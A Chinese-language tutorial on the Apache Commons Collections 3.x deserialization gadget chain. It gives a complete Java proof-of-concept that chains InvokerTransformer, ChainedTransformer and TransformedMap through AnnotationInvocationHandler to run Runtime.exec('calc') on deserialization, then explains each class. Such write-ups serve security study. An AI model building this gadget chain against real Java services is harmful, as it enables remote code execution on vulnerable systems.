Apache Commons Collections 反序列化利用

包和简介

背景介绍

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

包结构介绍

注意:Commons Collections的最新版是4.1,但由于工作中大多还是3.x的版本,这里就以3.x中的最后一个版本3.2.2作使用介绍。

以下是Collections的包结构和简单介绍,如果你想了解更多的各个包下的接口和实现,请参考Apache Commons Collections 3.2.2 API文档

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

前置知识

1.mvn依赖

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

2.手打POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc01 {
    public static void main(String[] args) throws Exception {
//        反射调用 Runtime.exec("calc");
//        Class r = Runtime.class;
//        Method getRuntime = r.getMethod("getRuntime", null);
//        Object runtime = getRuntime.invoke(null, null);
//        Method exec = r.getMethod("exec", new Class[]{String.class});
//        Object calc = exec.invoke(runtime, new Object[]{"calc"});

        // 构造 可序列化的 Transformer 类型的 Runtime.exec("calc");
        Transformer[] transformer_ = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };


        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer_);

        // 构造TransformedMap
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("value","value"); // 将值设置成value,进入条件 限制
        // 添加装甲 将map 转化成 TransformedMap
        Map<?,?> decorateMap = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);

        // 生成对象 sun.reflect.annotation.AnnotationInvocationHandler
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationHandler = aClass.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandler.setAccessible(true);
        Object o = annotationInvocationHandler.newInstance(Target.class, decorateMap);
        serialize(o);
        unserialize("ser.bin");

    }


    // 反序列化
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
    // 序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
}

3.Transformer

TransformerCommons Collections中提供的一个接口类,只有一个待实现的transform方法。

public interface Transformer {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    public Object transform(Object input);

}

4.InvokerTransformer

InvokerTransformerTransformer接口的可序列化的实现类,在构造方法中有三个参数

  • 第⼀个参数是待执⾏的⽅法名
  • 第⼆个参数是这个函数的参数列表的参数类型
  • 第三个参数是传给这个函数的参数列表

里面还提供了一个transform的方法,该方法可以通过Java反射机制来进行执行任意代码。

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

5.ChainedTransformer

ChainedTransformerTransformer接口的可序列化的实现类,该类的transform方法为可循环调用iTransformers中每一个值,将它transform的返回值作为下一个的传入值

    /**
     * Transforms the input to result via each decorated transformer
     * 
     * @param object  the input object passed to the first transformer
     * @return the transformed result
     */

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

6.ConstantTransformer

ConstantTransformer是接口Transformer的实现类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回,其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }

7.Map

Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

TransformedMap

TransformedMap这个类是用来对Map进行某些变换(修饰)用的,例如当我们修改Map中的某个值时,就会触发我们预先定义好的某些操作来对Map进行处理(回调)。

通过decorate函数就可以将一个普通的Map转换为一个TransformedMap第二个参数和第三个参数分别对应当key改变和value改变时对应transform函数需要做的操作

Map.Entry

Map.Entry是Map的一个内部接口。

Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。接口中有getKey()getValue()方法。

results matching ""

    No results matching ""